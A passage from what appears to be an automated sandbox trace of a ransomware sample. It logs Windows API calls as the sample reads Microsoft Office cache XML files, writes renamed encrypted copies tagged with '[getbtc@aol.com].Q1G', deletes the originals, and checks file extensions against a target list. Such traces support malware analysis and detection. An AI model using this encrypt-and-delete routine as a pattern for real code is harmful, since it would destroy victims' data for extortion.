lpNewFilePointer=0x0) returned 1 [0037.180] SetEndOfFile (hFile=0x1cc) returned 1 [0037.181] CloseHandle (hObject=0x1cc) returned 1 [0037.181] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.181] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.181] lstrlenW (lpString=".doc") returned 4 [0037.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.181] lstrlenW (lpString=".docx") returned 5 [0037.181] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.181] lstrlenW (lpString=".pdf") returned 4 [0037.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.181] lstrlenW (lpString=".xls") returned 4 [0037.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString=".xlsx") returned 5 [0037.182] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.182] lstrlenW (lpString=".ppt") returned 4 [0037.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.182] lstrlenW (lpString=".zip") returned 4 [0037.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.182] lstrlenW (lpString=".rar") returned 4 [0037.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString=".bz2") returned 4 [0037.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString=".7z") returned 3 [0037.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.182] lstrlenW (lpString=".dbf") returned 4 [0037.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.182] lstrlenW (lpString=".1cd") returned 4 [0037.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.182] lstrlenW (lpString=".jpg") returned 4 [0037.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.182] lstrlenW (lpString=".doc") returned 4 [0037.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString=".docx") returned 5 [0037.182] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.182] lstrlenW (lpString=".pdf") returned 4 [0037.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.182] lstrlenW (lpString=".xls") returned 4 [0037.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.183] lstrlenW (lpString=".xlsx") returned 5 [0037.183] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.183] lstrlenW (lpString=".ppt") returned 4 [0037.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.183] lstrlenW (lpString=".zip") returned 4 [0037.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.183] lstrlenW (lpString=".rar") returned 4 [0037.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.183] lstrlenW (lpString=".bz2") returned 4 [0037.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.183] lstrlenW (lpString=".7z") returned 3 [0037.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.183] lstrlenW (lpString=".dbf") returned 4 [0037.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.183] lstrlenW (lpString=".1cd") returned 4 [0037.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.183] lstrlenW (lpString=".jpg") returned 4 [0037.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.183] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.183] lstrlenW (lpString="Office32WW.xml") returned 14 [0037.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.185] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4274) returned 1 [0037.185] CloseHandle (hObject=0x1cc) returned 1 [0037.185] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0037.185] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.185] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.185] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.185] GetLastError () returned 0x0 [0037.185] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0037.189] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0037.190] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.190] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.190] SetEndOfFile (hFile=0x1f0) returned 1 [0037.190] CloseHandle (hObject=0x1f0) returned 1 [0037.191] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.191] SetEndOfFile (hFile=0x1cc) returned 1 [0037.192] CloseHandle (hObject=0x1cc) returned 1 [0037.192] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.192] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0037.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.192] lstrlenW (lpString=".doc") returned 4 [0037.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.192] lstrlenW (lpString=".docx") returned 5 [0037.192] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.192] lstrlenW (lpString=".pdf") returned 4 [0037.192] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.192] lstrlenW (lpString=".xls") returned 4 [0037.192] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.192] lstrlenW (lpString=".xlsx") returned 5 [0037.192] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.192] lstrlenW (lpString=".ppt") returned 4 [0037.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.193] lstrlenW (lpString=".zip") returned 4 [0037.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.193] lstrlenW (lpString=".rar") returned 4 [0037.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString=".bz2") returned 4 [0037.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString=".7z") returned 3 [0037.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.193] lstrlenW (lpString=".dbf") returned 4 [0037.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.193] lstrlenW (lpString=".1cd") returned 4 [0037.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.193] lstrlenW (lpString=".jpg") returned 4 [0037.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.193] lstrlenW (lpString=".doc") returned 4 [0037.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString=".docx") returned 5 [0037.193] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.193] lstrlenW (lpString=".pdf") returned 4 [0037.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString=".xls") returned 4 [0037.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.193] lstrlenW (lpString=".xlsx") returned 5 [0037.193] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.193] lstrlenW (lpString=".ppt") returned 4 [0037.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.194] lstrlenW (lpString=".zip") returned 4 [0037.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.194] lstrlenW (lpString=".rar") returned 4 [0037.194] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.194] lstrlenW (lpString=".bz2") returned 4 [0037.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.194] lstrlenW (lpString=".7z") returned 3 [0037.194] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.194] lstrlenW (lpString=".dbf") returned 4 [0037.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.194] lstrlenW (lpString=".1cd") returned 4 [0037.194] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.194] lstrlenW (lpString=".jpg") returned 4 [0037.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.194] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.194] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0037.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.577] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=16852) returned 1 [0037.577] CloseHandle (hObject=0x1d0) returned 1 [0037.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0037.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.577] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.577] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.578] GetLastError () returned 0x0 [0037.578] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x41d4, lpOverlapped=0x0) returned 1 [0037.580] WriteFile (in: hFile=0x1ec, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0037.581] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.581] WriteFile (in: hFile=0x1ec, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.581] SetEndOfFile (hFile=0x1ec) returned 1 [0037.581] CloseHandle (hObject=0x1ec) returned 1 [0037.582] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.582] SetEndOfFile (hFile=0x1d0) returned 1 [0037.582] CloseHandle (hObject=0x1d0) returned 1 [0037.582] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.583] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0037.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.583] lstrlenW (lpString=".doc") returned 4 [0037.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.583] lstrlenW (lpString=".docx") returned 5 [0037.583] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.583] lstrlenW (lpString=".pdf") returned 4 [0037.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.583] lstrlenW (lpString=".xls") returned 4 [0037.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.583] lstrlenW (lpString=".xlsx") returned 5 [0037.583] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.583] lstrlenW (lpString=".ppt") returned 4 [0037.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.583] lstrlenW (lpString=".zip") returned 4 [0037.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.583] lstrlenW (lpString=".rar") returned 4 [0037.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.583] lstrlenW (lpString=".bz2") returned 4 [0037.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString=".7z") returned 3 [0037.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.584] lstrlenW (lpString=".dbf") returned 4 [0037.584] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.584] lstrlenW (lpString=".1cd") returned 4 [0037.584] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.584] lstrlenW (lpString=".jpg") returned 4 [0037.584] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.584] lstrlenW (lpString=".doc") returned 4 [0037.584] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString=".docx") returned 5 [0037.584] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.584] lstrlenW (lpString=".pdf") returned 4 [0037.584] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString=".xls") returned 4 [0037.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString=".xlsx") returned 5 [0037.584] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.584] lstrlenW (lpString=".ppt") returned 4 [0037.584] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.584] lstrlenW (lpString=".zip") returned 4 [0037.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.584] lstrlenW (lpString=".rar") returned 4 [0037.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.584] lstrlenW (lpString=".bz2") returned 4 [0037.585] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.585] lstrlenW (lpString=".7z") returned 3 [0037.585] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.585] lstrlenW (lpString=".dbf") returned 4 [0037.585] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.585] lstrlenW (lpString=".1cd") returned 4 [0037.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0037.585] lstrlenW (lpString=".jpg") returned 4 [0037.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.585] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.585] lstrlenW (lpString="Content.xml") returned 11 [0037.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.829] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=27045) returned 1 [0037.829] CloseHandle (hObject=0x1c4) returned 1 [0037.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0037.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.830] lstrlenW (lpString=".doc") returned 4 [0037.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".docx") returned 5 [0037.830] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0037.830] lstrlenW (lpString=".pdf") returned 4 [0037.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".xls") returned 4 [0037.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".xlsx") returned 5 [0037.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0037.830] lstrlenW (lpString=".ppt") returned 4 [0037.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.830] lstrlenW (lpString=".zip") returned 4 [0037.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.830] lstrlenW (lpString=".rar") returned 4 [0037.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".bz2") returned 4 [0037.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".7z") returned 3 [0037.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.830] lstrlenW (lpString=".dbf") returned 4 [0037.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.830] lstrlenW (lpString=".1cd") returned 4 [0037.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 